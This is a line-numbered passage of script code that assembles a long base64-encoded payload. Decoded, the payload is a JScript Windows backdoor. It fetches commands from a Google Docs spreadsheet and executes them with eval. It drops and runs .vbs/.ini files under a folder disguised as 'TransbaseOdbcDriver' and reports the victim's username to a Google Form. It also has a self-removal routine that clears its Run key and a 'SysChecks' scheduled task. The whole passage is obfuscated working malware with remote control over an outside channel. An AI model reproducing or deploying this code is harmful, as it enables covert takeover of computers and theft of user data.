331 | f = f & "DQogICAgICAgIEdldENvbW1hbmQoKTsNCgkJDQogICAgICAgIGZ1bmN0aW9uIEdldENvbW1hbmQ" | |
332 | f = f & "oKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCgkJCQkJCXZhciBsZWdjID0gZ2V0TGFzdEV4ZU" | |
333 | f = f & "dvb2dDbWQoKTsNCgkJCQkJCXZhciBjbWJfb2IgPSB7fQ0KCQkJCQkJY21iX29iLmZsYWcgPSBmY" | |
334 | f = f & "WxzZTsNCgkJCQkJCQ0KCQkJCQkJdmFyIGdvX2NvbSA9IEluZXRSZWFkKCJodHRwczovL2RvY3Mu" | |
335 | f = f & "Z29vZ2xlLmNvbS9zcHJlYWRzaGVldC9jY2M/a2V5PSIgKyBzcHJlYWRzaGVldGtleSk7DQoJCQk" | |
336 | f = f & "JCQlpZiggZ29fY29tWydzdGF0J10gPj0gMjAwICYmICBnb19jb21bJ3N0YXQnXSA8IDMwMCl7DQ" | |
337 | f = f & "oJCQkJCQkJdmFyIGNtZF90eHQgPSBIVE1MUGFyc2UoZ29fY29tWyd0ZXh0J10pLmRvY3VtZW50L" | |
338 | f = f & "mRvY3VtZW50RWxlbWVudC5pbm5lclRleHQ7DQoJCQkJCQkJdmFyIGNvbW1hbmQgPSBzcGxpdChj" | |
339 | f = f & "bWRfdHh0LCckJCQnLDMpOwkNCgkJCQkJCQlpZiAoY29tbWFuZC5sZW5ndGggPT0gNCkgew0KCQk" | |
340 | f = f & "JCQkJCQljbWJfb2IuYyA9IGNvbW1hbmRbMl07DQoJCQkJCQkJCWNtYl9vYi5sID0gY29tbWFuZF" | |
341 | f = f & "sxXTsNCgkJCQkJCQkJY21iX29iLmZsYWcgPSB0cnVlOw0KCQkJCQkJCX1lbHNlew0KCQkJCQkJC" | |
342 | f = f & "QljbWJfb2IuZmxhZyA9IGZhbHNlOw0KCQkJCQkJCX0NCgkJCQkJCQlsZWdjID0gMDsNCgkJCQkJ" | |
343 | f = f & "CX1lbHNlew0KCQkJCQkJCWxlZ2MgPSBwYXJzZUludChsZWdjKSsxOw0KCQkJCQkJfQ0KCQkJCQk" | |
344 | f = f & "JDQoJCQkJCQlsZWdjID0gc2V0TGFzdEV4ZUdvb2dDbWQobGVnYyk7DQoJCQkJCQlpZihsZWdjID" | |
345 | f = f & "49IDEgJiYgbGVnYyA8PTQpcmV0dXJuOw0KCQkJCQkJDQoJCQkJCQlpZiggIWNtYl9vYi5mbGFnI" | |
346 | f = f & "Cl7DQoJCQkJCQkJdmFyIHBiX2NvbSA9IEluZXRSZWFkKGxpbmtQQik7DQoJCQkJCQkJaWYoIHBi" | |
347 | f = f & "X2NvbVsnc3RhdCddID49IDIwMCAmJiAgcGJfY29tWydzdGF0J10gPCAzMDApew0KCQkJCQkJCQl" | |
348 | f = f & "2YXIganNuID0gZXZhbCAoIigiICsgcGJfY29tWyd0ZXh0J10gKyAiKSIpOw0KCQkJCQkJCQljbW" | |
349 | f = f & "Jfb2IuYyA9IGpzblsiY29kZSJdOw0KCQkJCQkJCQljbWJfb2IubCA9IGpzblsnbGFzdCddOw0KC" | |
350 | f = f & "QkJCQkJCQljbWJfb2IuZmxhZyA9IHRydWU7DQoJCQkJCQkJfWVsc2V7DQoJCQkJCQkJCWNtYl9v" | |
351 | f = f & "Yi5mbGFnID0gZmFsc2U7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCQlpZiggY21" | |
352 | f = f & "iX29iLmZsYWcgKXsNCgkJCQkJCQlpZihsYXN0ICE9IGNtYl9vYi5sKXsNCgkJCQkJCQkJLy9sYX" | |
353 | f = f & "N0ID0gY21iX29iLmw7DQoJCQkJCQkJCXZhciByID0gVGV4dEZpbGVDcmVhdGUoIiVBTExVU0VSU" | |
354 | f = f & "1BST0ZJTEUlXFxUcmFuc2Jhc2VPZGJjRHJpdmVyXFxkdHRzZy50eHQiKTsNCgkJCQkJCQkJci5X" | |
355 | f = f & "cml0ZShjbWJfb2IubCk7DQoJCQkJCQkJCXIuQ2xvc2UoKTsNCgkJCQkJCQkJTG9nKCJHZXRDb21" | |
356 | f = f & "tYW5kOjoiICsgY21iX29iLmMpOw0KCQkJCQkJCQkvL2V2YWwoY21iX29iLmMpOw0KCQkJCQkJCQ" | |
357 | f = f & "lpZihsYXN0ID09ICIiKXJldHVybjsNCgkJCQkJCQkJDQoJCQkJCQkJCXZhciBjb2RfZGF0YSA9I" | |
358 | f = f & "EJhc2U2NC5kZWNvZGUoY21iX29iLmMpOwkJCQkJCQkJDQoJCQkJCQkJCWlmKGNvZF9kYXRhID09" | |
359 | f = f & "ICJkZWxldGVCb3QiKWRlc3Ryb3koKTsNCg0KCQkJCQkJCQl2YXIgdGVtcG5hbWUxID0gIkxhbkN" | |
360 | f = f & "yYWREcml2ZXIuaW5pIjsNCgkJCQkJCQkJdmFyIHRlbXBuYW1lMiA9ICJMYW5DcmFkRHJpdmVyLn" | |
361 | f = f & "ZicyI7DQoJCQkJCQkJCXZhciB0bXBQYXRoID0gV3NoU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTd" | |
362 | f = f & "HJpbmdzKCIlQUxMVVNFUlNQUk9GSUxFJVxcVHJhbnNiYXNlT2RiY0RyaXZlciIpOw0KCQkJCQkJ" | |
363 | f = f & "CQl2YXIgdGVtcGF0aDEgPSB0bXBQYXRoICsgIlxcIit0ZW1wbmFtZTE7DQoJCQkJCQkJCXZhciB" | |
364 | f = f & "0ZW1wYXRoMiA9IHRtcFBhdGggKyAiXFwiK3RlbXBuYW1lMjsNCgkJCQkJCQkJDQoJCQkJCQkJCX" | |
365 | f = f & "ZhciBmID0gRlNPLk9wZW5UZXh0RmlsZSh0ZW1wYXRoMSwyLGZhbHNlLC0xKTsNCgkJCQkJCQkJZ" | |
366 | f = f & "i5Xcml0ZShjb2RfZGF0YSk7DQoJCQkJCQkJCWYuQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICAg" | |
367 | f = f & "ICAgICAgICAgICAgICAgDQoJCQkJCQkJCVdTY3JpcHQuU2xlZXAoNTAwMCk7DQoJCQkJCQkJCVd" | |
368 | f = f & "zaFNoZWxsLlJ1bignY21kLmV4ZSAvayB3c2NyaXB0LmV4ZSAiJyArIHRlbXBhdGgyICsgJyInLD" | |
369 | f = f & "AsZmFsc2UpOwkNCgkJCQkJCQl9CQkJCQkJCQ0KCQkJCQkJfWVsc2V7DQoJCQkJCQkJTG9nKCJHZ" | |
370 | f = f & "XRDb21tYW5kOjoiICsgIm5vIGV4ZWN0Iik7DQoJCQkJCQl9CQkJCQkNCiAgICAgICAgICAgICAg" | |
371 | f = f & "ICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBMb2coIkdldENvbW1hbmQ" | |
372 | f = f & "6OiIgKyBlLmRlc2NyaXB0aW9uKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiANCi" | |
373 | f = f & "AgICAgICAgZnVuY3Rpb24gZ2V0UmFuZG9tSW50KG1pbiwgbWF4KSB7DQogICAgICAgICAgICAgI" | |
374 | f = f & "CAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtYXggLSBtaW4gKyAxKSkgKyBt" | |
375 | f = f & "aW47DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2V0U2NyaXB0RGlyKCkgew0KICA" | |
376 | f = f & "gICAgICAgICAgICAgIHJldHVybiBHZXRTY3JpcHRGdWxsUGF0aCgpLnJlcGxhY2UoL1teXFxdKy" | |
377 | f = f & "QvZywgIiIpOw0KICAgICAgICB9DQogDQogICAgICAgIGZ1bmN0aW9uIEdldFNjcmlwdEZ1bGxQY" | |
378 | f = f & "XRoKCkgew0KICAgICAgICAgICAgICAgIGlmIChHbG9iYWxPYmplY3QubG9jYXRpb24gJiYgR2xv" | |
379 | f = f & "YmFsT2JqZWN0LmxvY2F0aW9uLmhyZWYpIHJldHVybiB1bmVzY2FwZShsb2NhdGlvbi5ocmVmLnJ" | |
380 | f = f & "lcGxhY2UoL14uK1wvXC9cLy8sICIiKS5yZXBsYWNlKC9cLy9nLCAiXFwiKSk7DQogICAgICAgIC" | |
381 | f = f & "AgICAgICAgaWYgKEdsb2JhbE9iamVjdC5XU2NyaXB0KSByZXR1cm4gV1NjcmlwdC5TY3JpcHRGd" | |
382 | f = f & "WxsTmFtZTsNCiAgICAgICAgICAgICAgICByZXR1cm4gIiI7DQogICAgICAgIH0NCiANCiAgICAg" | |
383 | f = f & "ICAgZnVuY3Rpb24gSFRNTFBhcnNlKGNvZGUsIGRvbnRfcHJldmVudF9jb2RlX2V4ZWMpIHsNCiA" | |
384 | f = f & "gICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRvY3VtZW" | |
385 | f = f & "50ID0gbmV3IEFjdGl2ZVhPYmplY3QoIkhUTUxGaWxlIik7DQogICAgICAgICAgICAgICAgICAgI" | |
386 | f = f & "CAgICBpZiAoIWRvbnRfcHJldmVudF9jb2RlX2V4ZWMpIGRvY3VtZW50LmRlc2lnbk1vZGUgPSAi" | |
387 | f = f & "b24iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQud3JpdGUoY29kZSk7DQogICA" | |
388 | f = f & "gICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5jbG9zZSgpOw0KICAgICAgICAgICAgICAgIC" | |
389 | f = f & "AgICAgICAgaWYgKCFkb250X3ByZXZlbnRfY29kZV9leGVjKSBkb2N1bWVudC5leGVjQ29tbWFuZ" | |
390 | f = f & "Cgic3RvcCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGRvY3VtZW50LnBhcmVu" | |
391 | f = f & "dFdpbmRvdzsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICA" | |
392 | f = f & "gICAgICAgICBMb2coIkhUTUxQYXJzZTo6IiArIGUuZGVzY3JpcHRpb24pDQogICAgICAgICAgIC" | |
393 | f = f & "AgICAgfTsNCiAgICAgICAgICAgICAgICByZXR1cm4ge307DQogICAgICAgIH0NCiANCiAgICAgI" | |
394 | f = f & "CAgZnVuY3Rpb24gTG9nKHZhbHVlKSB7DQogICAgICAgICAgICAgICAgdmFsdWUgPSB2YWx1ZSB8" | |
395 | f = f & "fCAiIjsNCgkJCQl2YWx1ZQ0KICAgICAgICAgICAgICAgIHZhbHVlID0gZ3VpZCArICIkJCQiICs" | |
396 | f = f & "gYm90Y2xhc3MgKyAiOjoiICsgR2V0VXNlck5hbWUoKSArICI6OiIgKyBlbmNvZGVVUkkodmFsdW" | |
397 | f = f & "UpOw0KCQkJCUxvZ0luZXQodmFsdWUsZm9ybWtleSxlbnRyeSk7DQogICAgICAgIH0NCiANCiAgI" | |
398 | f = f & "CAgICAgZnVuY3Rpb24gRmlsZUV4aXN0cyhQYXRoKSB7DQogICAgICAgICAgICAgICAgUGF0aCA9" | |
399 | f = f & "IFdzaFNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhQYXRoKTsNCiAgICAgICAgICAgICA" | |
400 | f = f & "gICByZXR1cm4gRlNPLkZvbGRlckV4aXN0cyhQYXRoKSB8fCBGU08uRmlsZUV4aXN0cyhQYXRoKT" | |
401 | f = f & "sNCiAgICAgICAgfQ0KIA0KICAgICAgICBmdW5jdGlvbiBUZXh0RmlsZVJlYWQoUGF0aCkgew0KI" | |
402 | f = f & "CAgICAgICAgICAgICAgIGlmICghUGF0aCkgcmV0dXJuICIiOw0KICAgICAgICAgICAgICAgIGlm" | |
403 | f = f & "ICghRmlsZUV4aXN0cyhQYXRoKSkgcmV0dXJuICIiOw0KICAgICAgICAgICAgICAgIFBhdGggPSB" | |
404 | f = f & "Xc2hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoUGF0aCk7DQogICAgICAgICAgICAgIC" | |
405 | f = f & "AgaWYgKEZTTy5HZXRGaWxlKFBhdGgpLlNpemUgPT0gMCkgcmV0dXJuICIiOw0KICAgICAgICAgI" | |
406 | f = f & "CAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgU3RyZWFtID0gRlNPLk9w" | |
407 | f = f & "ZW5UZXh0RmlsZShQYXRoLCAxLCAwLCAtMiksDQogICAgICAgICAgICAgICAgICAgICAgICAgICA" | |
408 | f = f & "gICAgIFJlc3VsdCA9IFN0cmVhbS5SZWFkQWxsKCk7DQogICAgICAgICAgICAgICAgICAgICAgIC" | |
409 | f = f & "BTdHJlYW0uQ2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBSZXN1bHQ7D" | |
410 | f = f & "QogICAgICAgICAgICAgICAgfSBjYXRjaCAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAg" | |
411 | f = f & "Ly9Mb2coIlRleHRGaWxlUmVhZDo6IiArIFBhdGggKyAiOjoiICsgZS5kZXNjcml0aW9uKTsNCiA" | |
412 | f = f & "gICAgICAgICAgICAgICB9Ow0KICAgICAgICB9DQogDQogICAgICAgIGZ1bmN0aW9uIFRleHRGaW" | |
413 | f = f & "xlQ3JlYXRlKFBhdGgpIHsNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgI" | |
414 | f = f & "CAgICAgICAgUGF0aCA9IFdzaFNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncyhQYXRoKTsN" | |
415 | f = f & "CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChGaWxlRXhpc3RzKFBhdGgpKSBGU08uRGVsZXR" | |
416 | f = f & "lRmlsZShQYXRoLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBGU08uT3" | |
417 | f = f & "BlblRleHRGaWxlKFBhdGgsIDIsIDEsIC0xKQ0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpI" | |
418 | f = f & "HsNCiAgICAgICAgICAgICAgICAgICAgICAgIExvZygiVGV4dEZpbGVDcmVhdGU6OiIgKyBlLmRl" | |
419 | f = f & "c2NyaXB0aW9uKQ0KICAgICAgICAgICAgICAgIH07DQogICAgICAgICAgICAgICAgcmV0dXJuIG5" | |
420 | f = f & "1bGw7DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2VuZXJhdGVTdHJpbmcoTCkgew" | |
421 | f = f & "0KICAgICAgICAgICAgICAgIGlmICghTCkgTCA9IDg7DQogICAgICAgICAgICAgICAgcmV0dXJuI" | |
422 | f = f & "G5ldyBBY3RpdmVYT2JqZWN0KCJTY3JpcHRsZXQuVHlwZUxpYiIpLkd1aWQucmVwbGFjZSgvW15c" | |
423 | f = f & "d10rL2csICIiKS5zbGljZSgwLCBMKTsNCiAgICAgICAgfQ0KIA0KICAgICAgICBmdW5jdGlvbiB" | |
424 | f = f & "DcmVhdGVPYmplY3QoUHJvZ0lkKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBBY3Rpdm" | |
425 | f = f & "VYT2JqZWN0KFByb2dJZCk7DQogICAgICAgIH0NCiANCiAgICAgICAgZnVuY3Rpb24gR2V0VXNlc" | |
426 | f = f & "k5hbWUoKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAg" | |
427 | f = f & "IHJldHVybiBDcmVhdGVPYmplY3QoIldTY3JpcHQuTmV0V29yayIpLlVzZXJOYW1lOw0KICAgICA" | |
428 | f = f & "gICAgICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIExvZygiR2" | |
429 | f = f & "V0VXNlck5hbWU6OiIgKyBlLmRlc2NyaXB0aW9uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgI" | |
430 | f = f & "HJldHVybiAiVW5rbm93biINCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAg" | |
431 | f = f & "ICBmdW5jdGlvbiBnZXRMYXN0RXhlR29vZ0NtZCgpIHsNCgkJCXZhciByZWdWYWx1ZSA9IDA7DQo" | |
432 | f = f & "JCQl0cnkgewkJCQ0KCQkJCXJlZ1ZhbHVlID0gV3NoU2hlbGwuUmVnUmVhZChrZXlQYXRoKTsNCg" | |
433 | f = f & "kJCX0gY2F0Y2ggKGUpIHsNCgkJCQlzZXRMYXN0RXhlR29vZ0NtZChyZWdWYWx1ZSk7DQoJCQl9D" | |
434 | f = f & "QoJCQlyZXR1cm4gcmVnVmFsdWU7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gc2V0TGFz" | |
435 | f = f & "dEV4ZUdvb2dDbWQocmVnVmFsdWUpIHsNCgkJCXRyeSB7CQkJDQoJCQkJV3NoU2hlbGwuUmVnV3J" | |
436 | f = f & "pdGUoa2V5UGF0aCxyZWdWYWx1ZSwgIlJFR19TWiIpOwkJCQ0KCQkJfSBjYXRjaCAoZSkgew0KCQ" | |
437 | f = f & "kJCXJldHVybiAtMTsNCgkJCX0NCgkJCXJldHVybiByZWdWYWx1ZTsJCQkJCQkNCiAgICAgICAgf" | |
438 | f = f & "Q0KCQkNCgkJZnVuY3Rpb24gc0RPUzJXaW4oc1RleHQsIGJJbnNpZGVPdXQpIHsNCgkJICB2YXIg" | |
439 | f = f & "YUNoYXJzZXRzID0gWyJ3aW5kb3dzLTEyNTEiLCAiY3A4NjYiXTsNCgkJICBzVGV4dCArPSAiIjs" | |
440 | f = f & "NCgkJICBiSW5zaWRlT3V0ID0gYkluc2lkZU91dCA/IDEgOiAwOw0KCQkgIHdpdGggKG5ldyBBY3" | |
441 | f = f & "RpdmVYT2JqZWN0KCJBRE9EQi5TdHJlYW0iKSkgeyANCgkJCXR5cGUgPSAyOyAvL0JpbmFyeSAxL" | |
442 | f = f & "CBUZXh0IDIgKGRlZmF1bHQpIA0KCQkJbW9kZSA9IDM7IC8vUGVybWlzc2lvbnMgaGF2ZSBub3Qg" | |
443 | f = f & "YmVlbiBzZXQgMCwgIFJlYWQtb25seSAxLCAgV3JpdGUtb25seSAyLCAgUmVhZC13cml0ZSAzLCA" | |
444 | f = f & "gDQoJCQkvL1ByZXZlbnQgb3RoZXIgcmVhZCA0LCAgUHJldmVudCBvdGhlciB3cml0ZSA4LCAgUH" | |
445 | f = f & "JldmVudCBvdGhlciBvcGVuIDEyLCAgQWxsb3cgb3RoZXJzIGFsbCAxNg0KCQkJY2hhcnNldCA9I" | |
446 | f = f & "GFDaGFyc2V0c1tiSW5zaWRlT3V0XTsNCgkJCW9wZW4oKTsNCgkJCXdyaXRlVGV4dChzVGV4dCk7" | |
447 | f = f & "DQoJCQlwb3NpdGlvbiA9IDA7DQoJCQljaGFyc2V0ID0gYUNoYXJzZXRzWzEgLSBiSW5zaWRlT3V" | |
448 | f = f & "0XTsNCgkJCXJldHVybiByZWFkVGV4dCgpOw0KCQkgIH0NCgkJfQkJDQoNCgkJZnVuY3Rpb24gZG" | |
449 | f = f & "VzdHJveSgpew0KCQkJdHJ5IHsNCgkJCQlXc2hTaGVsbC5SZWdEZWxldGUoIkhLRVlfQ1VSUkVOV" | |
450 | f = f & "F9VU0VSXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVu" | |
451 | f = f & "XFxUcmFuc2Jhc2VPZGJjRHJpdmVyIik7CQkNCgkJCX1jYXRjaChlKXt9DQoNCgkJCXRyeSB7DQo" | |
452 | f = f & "JCQkJV3NoU2hlbGwuUnVuKCdzY2h0YXNrcyAvZGVsZXRlIC90biAiU3lzQ2hlY2tzIiAvZicsID" | |
453 | f = f & "AsIGZhbHNlKTsNCgkJCX1jYXRjaChlKXt9DQoNCgkJCXZhciBzdHJTY3JpcHREaXIgPSBXc2hTa" | |
454 | f = f & "GVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBTExVU0VSU1BST0ZJTEUlXFxUcmFuc2Jh" | |
455 | f = f & "c2VPZGJjRHJpdmVyIik7DQoJCQl2YXIgc3RyU2NyaXB0ID0gIiI7DQoJCQkNCgkJCXRyeSB7DQo" | |
456 | f = f & "JCQkJc3RyU2NyaXB0ID0gV1NjcmlwdC5TY3JpcHRGdWxsTmFtZTsNCgkJCQlpZihGU08uRmlsZU" | |
457 | f = f & "V4aXN0cyhzdHJTY3JpcHQpKXsgRlNPLkRlbGV0ZUZpbGUoc3RyU2NyaXB0LCB0cnVlKTsJfQ0KC" | |
458 | f = f & "QkJfWNhdGNoKGUpe30JDQoNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2NyaXB0RGly" | |
459 | f = f & "ICsgIlxcTGFuQ3JhZERyaXZlci5pbmkiOyANCgkJCQlpZihGU08uRmlsZUV4aXN0cyhzdHJTY3J" | |
460 | f = f & "pcHQpKXsgRlNPLkRlbGV0ZUZpbGUoc3RyU2NyaXB0LCB0cnVlKTsJfQ0KCQkJfWNhdGNoKGUpe3" | |
461 | f = f & "0JDQoJCQl0cnkgew0KCQkJCXN0clNjcmlwdCA9IHN0clNjcmlwdERpciArICJcXExhbkNyYWREc" | |
462 | f = f & "ml2ZXIudmJzIjsgDQoJCQkJaWYoRlNPLkZpbGVFeGlzdHMoc3RyU2NyaXB0KSl7IEZTTy5EZWxl" | |
463 | f = f & "dGVGaWxlKHN0clNjcmlwdCwgdHJ1ZSk7CX0NCgkJCX1jYXRjaChlKXt9CQ0KCQkJdHJ5IHsNCgk" | |
464 | f = f & "JCQlzdHJTY3JpcHQgPSBzdHJTY3JpcHREaXIgKyAiXFxzdGFydGVyLnZicyI7IA0KCQkJCWlmKE" | |
465 | f = f & "ZTTy5GaWxlRXhpc3RzKHN0clNjcmlwdCkpeyBGU08uRGVsZXRlRmlsZShzdHJTY3JpcHQsIHRyd" | |
466 | f = f & "WUpOwl9DQoJCQl9Y2F0Y2goZSl7fQkNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2Ny" | |
467 | f = f & "aXB0RGlyICsgIlxccGF0aGVyLnZicyI7IA0KCQkJCWlmKEZTTy5GaWxlRXhpc3RzKHN0clNjcml" | |
468 | f = f & "wdCkpeyBGU08uRGVsZXRlRmlsZShzdHJTY3JpcHQsIHRydWUpOwl9DQoJCQl9Y2F0Y2goZSl7fQ" | |
469 | f = f & "kNCgkJCXRyeSB7DQoJCQkJc3RyU2NyaXB0ID0gc3RyU2NyaXB0RGlyICsgIlxccGF0aGVyLmlua" | |
470 | f = f & "SI7IA0KCQkJCWlmKEZTTy5GaWxlRXhpc3RzKHN0clNjcmlwdCkpeyBGU08uRGVsZXRlRmlsZShz" | |
471 | f = f & "dHJTY3JpcHQsIHRydWUpOwl9DQoJCQl9Y2F0Y2goZSl7fQkNCgkJCQkJCQ0KCQkJV1NjcmlwdC5" | |
472 | f = f & "RdWl0KCk7CQkJDQoJCX0JCQkNCn0NCg0KZnVuY3Rpb24gQ3JlYXRlRGlyKCl7DQoJdHJ5IHsNCg" | |
473 | f = f & "kJdmFyIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCgkJd" | |
474 | f = f & "mFyIGRpcnBhdGggPSBXc2hTaGVsbC5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVBTExVU0VS" | |
475 | f = f & "U1BST0ZJTEUlXFxUcmFuc2Jhc2VPZGJjRHJpdmVyIik7CQkNCgkJdmFyIEZTTyA9IFdTY3JpcHQ" | |
476 | f = f & "uQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpOyAJCQ0KCQlpZighRl" | |
477 | f = f & "NPLkZvbGRlckV4aXN0cyhkaXJwYXRoKSl7DQoJCQlGU08uQ3JlYXRlRm9sZGVyKGRpcnBhdGgpO" | |
478 | f = f & "w0KCQl9DQoJCXJldHVybiB0cnVlOw0KCX1jYXRjaChlKXt9DQoJcmV0dXJuIHRydWU7DQp9CQ0K" | |
479 | f = f & "DQpmdW5jdGlvbiBnZXRQcm94eSgpew0KCXZhciBXc2hTaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN" | |
480 | f = f & "0KCJXU2NyaXB0LlNoZWxsIik7DQoJDQoJdHJ5IHsNCgkJdmFyIFByb3h5RW5hYmxlID0gV3NoU2" | |
481 | f = f & "hlbGwuUmVnUmVhZCgiSEtFWV9DVVJSRU5UX1VTRVJcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpb" | |
482 | f = f & "mRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5nc1xcUHJveHlFbmFibGUiKTsN" | |
483 | f = f & "CgkJaWYoUHJveHlFbmFibGUgPT0gMSl7DQoJCQl2YXIgUHJveHlTZXJ2ZXIgPSBXc2hTaGVsbC5" | |
484 | f = f & "SZWdSZWFkKCJIS0VZX0NVUlJFTlRfVVNFUlxcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1" | |
485 | f = f & "xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxQcm94eVNlcnZlciIpOw0KCQkJc" | |
486 | f = f & "mV0dXJuIFByb3h5U2VydmVyOw0KCQl9ZWxzZXsNCgkJCXJldHVybiAiIjsNCgkJfQ0KCX0gY2F0" | |
487 | f = f & "Y2ggKGUpIHsNCgkJcmV0dXJuICIiOw0KCX0JCQkNCn0NCg0KZnVuY3Rpb24gSW5ldFJlYWQodXJ" | |
488 | f = f & "sKSB7DQoJCXZhciBkYXRhX3NhdGF1c19hcnIgPSBuZXcgT2JqZWN0KCk7DQoJCXRyeSB7DQoJCQ" | |
489 | f = f & "kJdmFyIGh0dHBSZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTXN4bWwyLlNlcnZlclhNTEhUVFAuN" | |
490 | f = f & "i4wIik7DQoJCQkJaHR0cFJlcS5zZXRPcHRpb24oMiwgMTMwNTYpOyAvL1NYSF9TRVJWRVJfQ0VS" | |
491 | f = f & "VF9JR05PUkVfQUxMX1NFUlZFUl9FUlJPUlMgPSAxMzA1NjsgIFNYSF9PUFRJT05fVVJMID0gLTE" | |
492 | f = f & "NCgkJCQlodHRwUmVxLnNldFRpbWVvdXRzKDAsIDAsIDAsIDApOw0KCQkJCWh0dHBSZXEub3Blbi" | |
493 | f = f & "giR0VUIiwgdXJsLCBmYWxzZSk7DQoJCQkJdmFyIHByb3ggPSBnZXRQcm94eSgpDQoJCQkJaWYoI" | |
494 | f = f & "HByb3ggIT0gIiIpew0KCQkJCQlodHRwUmVxLnNldFByb3h5KDIsIHByb3gsICIiKTsNCgkJCQl9" | |
495 | f = f & "CQkJCQ0KCQkJCWh0dHBSZXEuc2V0UmVxdWVzdEhlYWRlcigiVXNlci1hZ2VudCIsICJNb3ppbGx" | |
496 | f = f & "hLzUuMCAoTGludXg7IFU7IEFuZHJvaWQgMi4zLjM7IHpoLXR3OyBIVEMgUHlyYW1pZCBCdWlsZC" | |
497 | f = f & "9HUkk0MCkgQXBwbGVXZWJLaXQvNTMzLjEgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuM" | |
498 | f = f & "CBNb2JpbGUgU2FmYXJpLzUzMy4xIik7DQoJCQkJaHR0cFJlcS5zZW5kKCk7DQoJCQkJLy9XU2Ny" | |
499 | f = f & "aXB0LkVjaG8oaHR0cFJlcS5nZXRBbGxSZXNwb25zZUhlYWRlcnMoKSk7DQoJCQkJLy9XU2NyaXB" | |
500 | f = f & "0LkVjaG8oaHR0cFJlcS5zdGF0dXMpOw0KCQkJCWRhdGFfc2F0YXVzX2Fyclsnc3RhdCddID0gaH" | |
501 | f = f & "R0cFJlcS5zdGF0dXM7DQoJCQkJZGF0YV9zYXRhdXNfYXJyWyd0ZXh0J10gPSBodHRwUmVxLnJlc" | |
502 | f = f & "3BvbnNlVGV4dDsNCgkJfSBjYXRjaCAoZSkgeyANCgkJCS8vV1NjcmlwdC5FY2hvKGh0dHBSZXEu" | |
503 | f = f & "c3RhdHVzKTsNCgkJCWRhdGFfc2F0YXVzX2FyclsndGV4dCddID0gIiI7DQoJCQlkYXRhX3NhdGF" | |
504 | f = f & "1c19hcnJbJ3N0YXQnXSA9ICIxMDAiOw0KCQl9Ow0KCQlyZXR1cm4gZGF0YV9zYXRhdXNfYXJyOw" | |
505 | f = f & "0KfQ0KDQpmdW5jdGlvbiBMb2dJbmV0KHZhbHVlLGZvcm1rZXksZW50cnkpIHsNCgl0cnkgew0KC" | |
506 | f = f & "Ql2YXIgaHR0cFJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNc3htbDIuU2VydmVyWE1MSFRUUC42" | |
507 | f = f & "LjAiKTsNCgkJaHR0cFJlcS5zZXRPcHRpb24oMiwgMTMwNTYpOyANCgkJaHR0cFJlcS5zZXRUaW1" | |
508 | f = f & "lb3V0cygwLCAwLCAwLCAwKTsNCgkJdXJsID0gImh0dHBzOi8vZG9jcy5nb29nbGUuY29tL2Zvcm" | |
509 | f = f & "1zL2QvIiArIGZvcm1rZXkgKyAiL2Zvcm1SZXNwb25zZSI7DQoJCWh0dHBSZXEub3BlbigiUE9TV" | |
510 | f = f & "CIsIHVybCwgZmFsc2UpOw0KCQl2YXIgcHJveCA9IGdldFByb3h5KCkNCgkJaWYoIHByb3ggIT0g" | |
511 | f = f & "IiIpew0KCQkJaHR0cFJlcS5zZXRQcm94eSgyLCBwcm94LCAiIik7DQoJCX0NCgkJaHR0cFJlcS5" | |
